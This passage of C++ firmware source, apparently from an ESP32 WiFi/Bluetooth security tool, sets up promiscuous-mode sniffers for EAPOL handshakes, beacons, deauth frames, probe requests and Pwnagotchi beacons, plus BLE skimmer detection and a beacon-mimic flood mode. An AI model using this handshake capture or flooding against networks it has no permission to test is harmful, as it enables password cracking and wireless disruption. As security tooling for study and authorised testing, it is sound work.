  616. #ifdef HAS_SCREEN
  617. display_obj.tft.println(text_table4[30]);
  618. display_obj.tft.println(text_table4[31]);
  619. #endif
  620. }
  621. battery_obj.battery_level = battery_obj.getBatteryLevel();
  622. if (battery_obj.i2c_supported) {
  623. #ifdef HAS_SCREEN
  624. display_obj.tft.println(text_table4[32]);
  625. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  626. #endif
  627. }
  628. else {
  629. #ifdef HAS_SCREEN
  630. display_obj.tft.println(text_table4[34]);
  631. #endif
  632. }
  633. #ifdef HAS_SCREEN
  634. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  635. #endif
  636. }
  637. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  638. sd_obj.openCapture("espressif");
  639. #ifdef HAS_SCREEN
  640. display_obj.TOP_FIXED_AREA_2 = 48;
  641. display_obj.tteBar = true;
  642. display_obj.print_delay_1 = 15;
  643. display_obj.print_delay_2 = 10;
  644. display_obj.initScrollValues(true);
  645. display_obj.tft.setTextWrap(false);
  646. display_obj.tft.setTextColor(TFT_WHITE, color);
  647. display_obj.tft.fillRect(0,16,240,16, color);
  648. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  649. display_obj.touchToExit();
  650. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  651. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  652. #endif
  653. esp_wifi_init(&cfg);
  654. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  655. esp_wifi_set_mode(WIFI_MODE_NULL);
  656. esp_wifi_start();
  657. esp_wifi_set_promiscuous(true);
  658. esp_wifi_set_promiscuous_filter(&filt);
  659. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  660. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  661. this->wifi_initialized = true;
  662. initTime = millis();
  663. }
  664. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  665. {
  666. #ifdef HAS_SCREEN
  667. display_obj.tft.init();
  668. display_obj.tft.setRotation(1);
  669. display_obj.tft.fillScreen(TFT_BLACK);
  670. #endif
  671. sd_obj.openCapture("packet_monitor");
  672. #ifdef HAS_SCREEN
  673. #ifdef TFT_SHIELD
  674. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  675. Serial.println("Using TFT Shield");
  676. #else if defined(TFT_DIY)
  677. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  678. Serial.println("Using TFT DIY");
  679. #endif
  680. display_obj.tft.setTouch(calData);
  681. //display_obj.tft.setFreeFont(1);
  682. display_obj.tft.setFreeFont(NULL);
  683. display_obj.tft.setTextSize(1);
  684. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  685. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  686. delay(10);
  687. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  688. display_obj.tftDrawColorKey();
  689. display_obj.tftDrawXScaleButtons(x_scale);
  690. display_obj.tftDrawYScaleButtons(y_scale);
  691. display_obj.tftDrawChannelScaleButtons(set_channel);
  692. display_obj.tftDrawExitScaleButtons();
  693. #endif
  694. Serial.println("Running packet scan...");
  695. esp_wifi_init(&cfg);
  696. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  697. esp_wifi_set_mode(WIFI_MODE_NULL);
  698. esp_wifi_start();
  699. esp_wifi_set_promiscuous(true);
  700. esp_wifi_set_promiscuous_filter(&filt);
  701. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  702. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  703. this->wifi_initialized = true;
  704. uint32_t initTime = millis();
  705. }
  706. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  707. {
  708. num_eapol = 0;
  709. #ifdef HAS_SCREEN
  710. display_obj.tft.init();
  711. display_obj.tft.setRotation(1);
  712. display_obj.tft.fillScreen(TFT_BLACK);
  713. #endif
  714. sd_obj.openCapture("eapol");
  715. #ifdef HAS_SCREEN
  716. #ifdef TFT_SHIELD
  717. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  718. //Serial.println("Using TFT Shield");
  719. #else if defined(TFT_DIY)
  720. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  721. //Serial.println("Using TFT DIY");
  722. #endif
  723. display_obj.tft.setTouch(calData);
  724. display_obj.tft.setFreeFont(NULL);
  725. display_obj.tft.setTextSize(1);
  726. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  727. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  728. delay(10);
  729. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  730. display_obj.tftDrawEapolColorKey();
  731. display_obj.tftDrawChannelScaleButtons(set_channel);
  732. display_obj.tftDrawExitScaleButtons();
  733. #endif
  734. wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
  735. esp_wifi_init(&cfg);
  736. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  737. //esp_wifi_set_mode(WIFI_MODE_NULL);
  738. esp_wifi_set_mode(WIFI_AP_STA);
  739. esp_wifi_start();
  740. esp_wifi_set_promiscuous(true);
  741. esp_wifi_set_promiscuous_filter(&filt);
  742. if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  743. esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
  744. else
  745. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  746. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  747. this->wifi_initialized = true;
  748. initTime = millis();
  749. }
  750. // Function to prepare for beacon mimic
  751. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  752. #ifdef HAS_SCREEN
  753. display_obj.TOP_FIXED_AREA_2 = 48;
  754. display_obj.tteBar = true;
  755. display_obj.print_delay_1 = 15;
  756. display_obj.print_delay_2 = 10;
  757. display_obj.initScrollValues(true);
  758. display_obj.tft.setTextWrap(false);
  759. display_obj.tft.setTextColor(TFT_BLACK, color);
  760. display_obj.tft.fillRect(0,16,240,16, color);
  761. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  762. display_obj.touchToExit();
  763. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  764. #endif
  765. packets_sent = 0;
  766. esp_wifi_init(&cfg);
  767. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  768. esp_wifi_set_mode(WIFI_AP_STA);
  769. esp_wifi_start();
  770. esp_wifi_set_promiscuous_filter(NULL);
  771. esp_wifi_set_promiscuous(true);
  772. esp_wifi_set_max_tx_power(78);
  773. this->wifi_initialized = true;
  774. initTime = millis();
  775. }
  776. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  777. {
  778. sd_obj.openCapture("pwnagotchi");
  779. #ifdef HAS_SCREEN
  780. display_obj.TOP_FIXED_AREA_2 = 48;
  781. display_obj.tteBar = true;
  782. display_obj.print_delay_1 = 15;
  783. display_obj.print_delay_2 = 10;
  784. display_obj.initScrollValues(true);
  785. display_obj.tft.setTextWrap(false);
  786. display_obj.tft.setTextColor(TFT_WHITE, color);
  787. display_obj.tft.fillRect(0,16,240,16, color);
  788. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  789. display_obj.touchToExit();
  790. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  791. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  792. #endif
  793. esp_wifi_init(&cfg);
  794. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  795. esp_wifi_set_mode(WIFI_MODE_NULL);
  796. esp_wifi_start();
  797. esp_wifi_set_promiscuous(true);
  798. esp_wifi_set_promiscuous_filter(&filt);
  799. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  800. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  801. this->wifi_initialized = true;
  802. initTime = millis();
  803. }
  804. // Function to start running a beacon scan
  805. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  806. {
  807. sd_obj.openCapture("beacon");
  808. #ifdef HAS_SCREEN
  809. display_obj.TOP_FIXED_AREA_2 = 48;
  810. display_obj.tteBar = true;
  811. display_obj.print_delay_1 = 15;
  812. display_obj.print_delay_2 = 10;
  813. display_obj.initScrollValues(true);
  814. display_obj.tft.setTextWrap(false);
  815. display_obj.tft.setTextColor(TFT_WHITE, color);
  816. display_obj.tft.fillRect(0,16,240,16, color);
  817. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  818. display_obj.touchToExit();
  819. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  820. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  821. #endif
  822. esp_wifi_init(&cfg);
  823. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  824. esp_wifi_set_mode(WIFI_MODE_NULL);
  825. esp_wifi_start();
  826. esp_wifi_set_promiscuous(true);
  827. esp_wifi_set_promiscuous_filter(&filt);
  828. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  829. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  830. this->wifi_initialized = true;
  831. initTime = millis();
  832. }
  833. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  834. {
  835. sd_obj.openCapture("deauth");
  836. #ifdef HAS_SCREEN
  837. display_obj.TOP_FIXED_AREA_2 = 48;
  838. display_obj.tteBar = true;
  839. display_obj.print_delay_1 = 15;
  840. display_obj.print_delay_2 = 10;
  841. display_obj.initScrollValues(true);
  842. display_obj.tft.setTextWrap(false);
  843. display_obj.tft.setTextColor(TFT_BLACK, color);
  844. display_obj.tft.fillRect(0,16,240,16, color);
  845. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  846. display_obj.touchToExit();
  847. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  848. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  849. #endif
  850. esp_wifi_init(&cfg);
  851. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  852. esp_wifi_set_mode(WIFI_MODE_NULL);
  853. esp_wifi_start();
  854. esp_wifi_set_promiscuous(true);
  855. esp_wifi_set_promiscuous_filter(&filt);
  856. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  857. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  858. this->wifi_initialized = true;
  859. initTime = millis();
  860. }
  861. // Function for running probe request scan
  862. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  863. {
  864. sd_obj.openCapture("probe");
  865. #ifdef HAS_SCREEN
  866. display_obj.TOP_FIXED_AREA_2 = 48;
  867. display_obj.tteBar = true;
  868. display_obj.print_delay_1 = 15;
  869. display_obj.print_delay_2 = 10;
  870. display_obj.initScrollValues(true);
  871. display_obj.tft.setTextWrap(false);
  872. display_obj.tft.setTextColor(TFT_BLACK, color);
  873. display_obj.tft.fillRect(0,16,240,16, color);
  874. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  875. display_obj.touchToExit();
  876. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  877. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  878. #endif
  879. esp_wifi_init(&cfg);
  880. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  881. esp_wifi_set_mode(WIFI_MODE_NULL);
  882. esp_wifi_start();
  883. esp_wifi_set_promiscuous(true);
  884. esp_wifi_set_promiscuous_filter(&filt);
  885. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  886. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  887. this->wifi_initialized = true;
  888. initTime = millis();
  889. }
  890. // Function to start running any BLE scan
  891. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  892. {
  893. #ifdef HAS_BT
  894. #ifdef HAS_SCREEN
  895. display_obj.print_delay_1 = 50;
  896. display_obj.print_delay_2 = 20;
  897. #endif
  898. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  899. NimBLEDevice::setScanDuplicateCacheSize(200);
  900. NimBLEDevice::init("");
  901. pBLEScan = NimBLEDevice::getScan(); //create new scan
  902. if (scan_mode == BT_SCAN_ALL)
  903. {
  904. #ifdef HAS_SCREEN
  905. display_obj.TOP_FIXED_AREA_2 = 48;
  906. display_obj.tteBar = true;
  907. display_obj.initScrollValues(true);
  908. display_obj.tft.setTextWrap(false);
  909. display_obj.tft.setTextColor(TFT_BLACK, color);
  910. display_obj.tft.fillRect(0,16,240,16, color);
  911. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  912. display_obj.touchToExit();
  913. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  914. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  915. #endif
  916. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  917. }
  918. else if (scan_mode == BT_SCAN_SKIMMERS)
  919. {
  920. #ifdef HAS_SCREEN
  921. display_obj.TOP_FIXED_AREA_2 = 160;
  922. display_obj.tteBar = true;
  923. display_obj.tft.fillScreen(TFT_DARKGREY);
  924. display_obj.initScrollValues(true);
  925. display_obj.tft.setTextWrap(false);
  926. display_obj.tft.setTextColor(TFT_BLACK, color);
  927. display_obj.tft.fillRect(0,16,240,16, color);
  928. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  929. display_obj.twoPartDisplay(text_table4[43]);
  930. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  931. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  932. #endif
  933. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  934. }
  935. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  936. pBLEScan->setInterval(97);
  937. pBLEScan->setWindow(37); // less or equal setInterval value
  938. pBLEScan->setMaxResults(0);
  939. pBLEScan->start(0, scanCompleteCB, false);
  940. Serial.println("Started BLE Scan");
  941. this->ble_initialized = true;
  942. initTime = millis();
  943. #endif
  944. }
  945. // Function that is called when BLE scan is completed
  946. #ifdef HAS_BT
  947. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  948. printf("Scan complete!\n");
  949. printf("Found %d devices\n", scanResults.getCount());
  950. scanResults.dump();
  951. } // scanCompleteCB
  952. #endif
  953. // Function to extract MAC addr from a packet at given offset
  954. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  955. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  956. }
  957. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  958. {
  959. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  960. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  961. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  962. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  963. int len = snifferPacket->rx_ctrl.sig_len;
  964. String display_string = "";
  965. String src_addr_string = "";
  966. if (type == WIFI_PKT_MGMT)
  967. {
  968. len -= 4;
  969. }
  970. int fctl = ntohs(frameControl->fctl);
  971. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  972. const WifiMgmtHdr *hdr = &ipkt->hdr;
  973. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  974. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  975. //{
  976. char addr[] = "00:00:00:00:00:00";
  977. getMAC(addr, snifferPacket->payload, 10);
  978. src_addr_string.concat(addr);
  979. bool match = false;
  980. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  981. if (src_addr_string.startsWith(espressif_macs[i])) {
  982. match = true;
  983. break;
  984. }
  985. }
  986. if (!match)
  987. return;
  988. delay(random(0, 10));
  989. Serial.print("RSSI: ");
  990. Serial.print(snifferPacket->rx_ctrl.rssi);
  991. Serial.print(" Ch: ");
  992. Serial.print(snifferPacket->rx_ctrl.channel);
  993. Serial.print(" BSSID: ");
  994. Serial.print(addr);
  995. //display_string.concat(" RSSI: ");
  996. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  997. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  998. //display_string.concat(" ");
  999. display_string.concat(" -> ");
  1000. display_string.concat(addr);
  1001. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1002. {
  1003. display_string.concat(" ");
  1004. }
  1005. Serial.print(" ");
  1006. #ifdef HAS_SCREEN
  1007. display_obj.loading = true;
  1008. display_obj.display_buffer->add(display_string);
  1009. display_obj.loading = false;
  1010. #endif
  1011. Serial.println();
  1012. if (save_packet)
  1013. sd_obj.addPacket(snifferPacket->payload, len);
  1014. //}
  1015. }
  1016. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1017. {
  1018. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1019. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1020. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1021. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1022. int len = snifferPacket->rx_ctrl.sig_len;
  1023. String display_string = "";
  1024. String src = "";
  1025. String essid = "";
  1026. if (type == WIFI_PKT_MGMT)
  1027. {
  1028. len -= 4;
  1029. int fctl = ntohs(frameControl->fctl);
  1030. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1031. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1032. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1033. #ifdef HAS_SCREEN
  1034. int buf = display_obj.display_buffer->size();
  1035. #else
  1036. int buf = 0;
  1037. #endif
  1038. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1039. {
  1040. char addr[] = "00:00:00:00:00:00";
  1041. getMAC(addr, snifferPacket->payload, 10);
  1042. src.concat(addr);
  1043. if (src == "de:ad:be:ef:de:ad") {
  1044. delay(random(0, 10));
  1045. Serial.print("RSSI: ");
  1046. Serial.print(snifferPacket->rx_ctrl.rssi);
  1047. Serial.print(" Ch: ");
  1048. Serial.print(snifferPacket->rx_ctrl.channel);
  1049. Serial.print(" BSSID: ");
  1050. Serial.print(addr);
  1051. //display_string.concat(addr);
  1052. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1053. Serial.print(" ESSID: ");
  1054. display_string.concat(" -> ");
  1055. // Just grab the first 255 bytes of the pwnagotchi beacon
  1056. // because that is where the name is
  1057. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1058. for (int i = 0; i < len - 37; i++)
  1059. {
  1060. Serial.print((char)snifferPacket->payload[i + 38]);
  1061. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1062. if (isAscii(snifferPacket->payload[i + 38]))
  1063. essid.concat((char)snifferPacket->payload[i + 38]);
  1064. else
  1065. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1066. }
  1067. //essid.concat("\": \"\"}}");
  1068. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1069. // Load json
  1070. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1071. DynamicJsonDocument json(1024); // ArduinoJson v6
  1072. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1073. // ArduinoJson v6
  1074. if (deserializeJson(json, essid)) {
  1075. Serial.println("\nCould not parse Pwnagotchi json");
  1076. display_string.concat(essid);
  1077. }
  1078. else {
  1079. Serial.println("\nSuccessfully parsed json");
  1080. String json_output;
  1081. //json.printTo(json_output); // ArduinoJson v5
  1082. serializeJson(json, json_output); // ArduinoJson v6
  1083. Serial.println(json_output);
  1084. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1085. }
  1086. int temp_len = display_string.length();
  1087. for (int i = 0; i < 40 - temp_len; i++)
  1088. {
  1089. display_string.concat(" ");
  1090. }
  1091. Serial.print(" ");
  1092. #ifdef HAS_SCREEN
  1093. if (display_obj.display_buffer->size() == 0)
  1094. {
  1095. display_obj.loading = true;
  1096. display_obj.display_buffer->add(display_string);
  1097. display_obj.loading = false;
  1098. }
  1099. #endif
  1100. Serial.println();
  1101. if (save_packet)
  1102. sd_obj.addPacket(snifferPacket->payload, len);
  1103. }
  1104. }
  1105. }
  1106. }
  1107. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1108. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1109. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1110. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1111. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1112. int len = snifferPacket->rx_ctrl.sig_len;
  1113. String display_string = "";
  1114. String essid = "";
  1115. String bssid = "";
  1116. if (type == WIFI_PKT_MGMT)
  1117. {
  1118. len -= 4;
  1119. int fctl = ntohs(frameControl->fctl);
  1120. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1121. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1122. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1123. #ifdef HAS_SCREEN
  1124. int buf = display_obj.display_buffer->size();
  1125. #else
  1126. int buf = 0;
  1127. #endif
  1128. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1129. {
  1130. char addr[] = "00:00:00:00:00:00";
  1131. getMAC(addr, snifferPacket->payload, 10);
  1132. bool in_list = false;
  1133. bool mac_match = true;
  1134. for (int i = 0; i < access_points->size(); i++) {
  1135. mac_match = true;
  1136. //Serial.print("Checking ");
  1137. //Serial.print(addr);
  1138. //Serial.println(" against " + (String)access_points->get(i).essid);
  1139. for (int x = 0; x < 6; x++) {
  1140. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1141. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1142. mac_match = false;
  1143. //Serial.println("MACs do not match");
  1144. break;
  1145. }
  1146. }
  1147. if (mac_match) {
  1148. in_list = true;
  1149. break;
  1150. }
  1151. }
  1152. if (!in_list) {
  1153. delay(random(0, 10));
  1154. Serial.print("RSSI: ");
  1155. Serial.print(snifferPacket->rx_ctrl.rssi);
  1156. Serial.print(" Ch: ");
  1157. Serial.print(snifferPacket->rx_ctrl.channel);
  1158. Serial.print(" BSSID: ");
  1159. Serial.print(addr);
  1160. display_string.concat(addr);
  1161. Serial.print(" ESSID: ");
  1162. display_string.concat(" -> ");
  1163. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1164. {
  1165. Serial.print((char)snifferPacket->payload[i + 38]);
  1166. display_string.concat((char)snifferPacket->payload[i + 38]);
  1167. essid.concat((char)snifferPacket->payload[i + 38]);
  1168. }
  1169. bssid.concat(addr);
  1170. int temp_len = display_string.length();
  1171. for (int i = 0; i < 40 - temp_len; i++)
  1172. {
  1173. display_string.concat(" ");
  1174. }
  1175. Serial.print(" ");
  1176. #ifdef HAS_SCREEN
  1177. if (display_obj.display_buffer->size() == 0)
  1178. {
  1179. display_obj.loading = true;
  1180. display_obj.display_buffer->add(display_string);
  1181. display_obj.loading = false;
  1182. }
  1183. #endif
  1184. if (essid == "") {
  1185. essid = bssid;
  1186. Serial.print(essid + " ");
  1187. }
  1188. //LinkedList<char> beacon = new LinkedList<char>();
  1189. /*AccessPoint ap = {essid,
  1190. snifferPacket->rx_ctrl.channel,
  1191. {snifferPacket->payload[10],
  1192. snifferPacket->payload[11],
  1193. snifferPacket->payload[12],
  1194. snifferPacket->payload[13],
  1195. snifferPacket->payload[14],
  1196. snifferPacket->payload[15]},
  1197. false,
  1198. NULL};*/
  1199. AccessPoint ap;
  1200. ap.essid = essid;
  1201. ap.channel = snifferPacket->rx_ctrl.channel;
  1202. ap.bssid[0] = snifferPacket->payload[10];
  1203. ap.bssid[1] = snifferPacket->payload[11];
  1204. ap.bssid[2] = snifferPacket->payload[12];
  1205. ap.bssid[3] = snifferPacket->payload[13];
  1206. ap.bssid[4] = snifferPacket->payload[14];
  1207. ap.bssid[5] = snifferPacket->payload[15];
  1208. ap.selected = false;
  1209. ap.beacon = new LinkedList<char>();
  1210. //for (int i = 0; i < len; i++) {
  1211. // ap.beacon->add(snifferPacket->payload[i]);
  1212. //}
  1213. ap.beacon->add(snifferPacket->payload[34]);
  1214. ap.beacon->add(snifferPacket->payload[35]);
  1215. Serial.print("\nBeacon: ");
  1216. for (int i = 0; i < ap.beacon->size(); i++) {
  1217. char hexCar[4];
  1218. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1219. Serial.print(hexCar);
  1220. if ((i + 1) % 16 == 0)
  1221. Serial.print("\n");
  1222. else
  1223. Serial.print(" ");
  1224. }
  1225. access_points->add(ap);
  1226. Serial.print(access_points->size());
  1227. Serial.println();
  1228. if (save_packet)
  1229. sd_obj.addPacket(snifferPacket->payload, len);
  1230. }
  1231. }
  1232. }
  1233. }
  1234. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1235. {
  1236. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1237. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1238. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1239. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1240. int len = snifferPacket->rx_ctrl.sig_len;
  1241. String display_string = "";
  1242. String essid = "";
  1243. String bssid = "";
  1244. if (type == WIFI_PKT_MGMT)
  1245. {
  1246. len -= 4;
  1247. int fctl = ntohs(frameControl->fctl);
  1248. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1249. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1250. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1251. #ifdef HAS_SCREEN
  1252. int buf = display_obj.display_buffer->size();
  1253. #else
  1254. int buf = 0;
  1255. #endif
  1256. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1257. {
  1258. char addr[] = "00:00:00:00:00:00";
  1259. getMAC(addr, snifferPacket->payload, 10);
  1260. bool in_list = false;
  1261. bool mac_match = true;
  1262. for (int i = 0; i < access_points->size(); i++) {
  1263. mac_match = true;
  1264. //Serial.print("Checking ");
  1265. //Serial.print(addr);
  1266. //Serial.println(" against " + (String)access_points->get(i).essid);
  1267. for (int x = 0; x < 6; x++) {
  1268. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1269. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1270. mac_match = false;
  1271. //Serial.println("MACs do not match");
  1272. break;
  1273. }
  1274. }
  1275. if (mac_match) {
  1276. in_list = true;
  1277. break;
  1278. }
  1279. }
  1280. if (!in_list) {
  1281. delay(random(0, 10));
  1282. Serial.print("RSSI: ");
  1283. Serial.print(snifferPacket->rx_ctrl.rssi);
  1284. Serial.print(" Ch: ");
  1285. Serial.print(snifferPacket->rx_ctrl.channel);
  1286. Serial.print(" BSSID: ");
  1287. Serial.print(addr);
  1288. display_string.concat(addr);
  1289. Serial.print(" ESSID: ");
  1290. display_string.concat(" -> ");
  1291. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1292. {
  1293. Serial.print((char)snifferPacket->payload[i + 38]);
  1294. display_string.concat((char)snifferPacket->payload[i + 38]);
  1295. essid.concat((char)snifferPacket->payload[i + 38]);
  1296. }
  1297. bssid.concat(addr);
  1298. int temp_len = display_string.length();
  1299. for (int i = 0; i < 40 - temp_len; i++)
  1300. {
  1301. display_string.concat(" ");
  1302. }
  1303. Serial.print(" ");
  1304. #ifdef HAS_SCREEN
  1305. if (display_obj.display_buffer->size() == 0)
  1306. {
  1307. display_obj.loading = true;
  1308. display_obj.display_buffer->add(display_string);
  1309. display_obj.loading = false;
  1310. }
  1311. #endif
  1312. if (essid == "") {
  1313. essid = bssid;
  1314. Serial.print(essid + " ");
  1315. }
  1316. AccessPoint ap = {essid,
  1317. snifferPacket->rx_ctrl.channel,
  1318. {snifferPacket->payload[10],
  1319. snifferPacket->payload[11],
  1320. snifferPacket->payload[12],
  1321. snifferPacket->payload[13],
  1322. snifferPacket->payload[14],
  1323. snifferPacket->payload[15]},
  1324. false,
  1325. NULL};
  1326. access_points->add(ap);
  1327. Serial.print(access_points->size());
  1328. Serial.println();
  1329. if (save_packet)
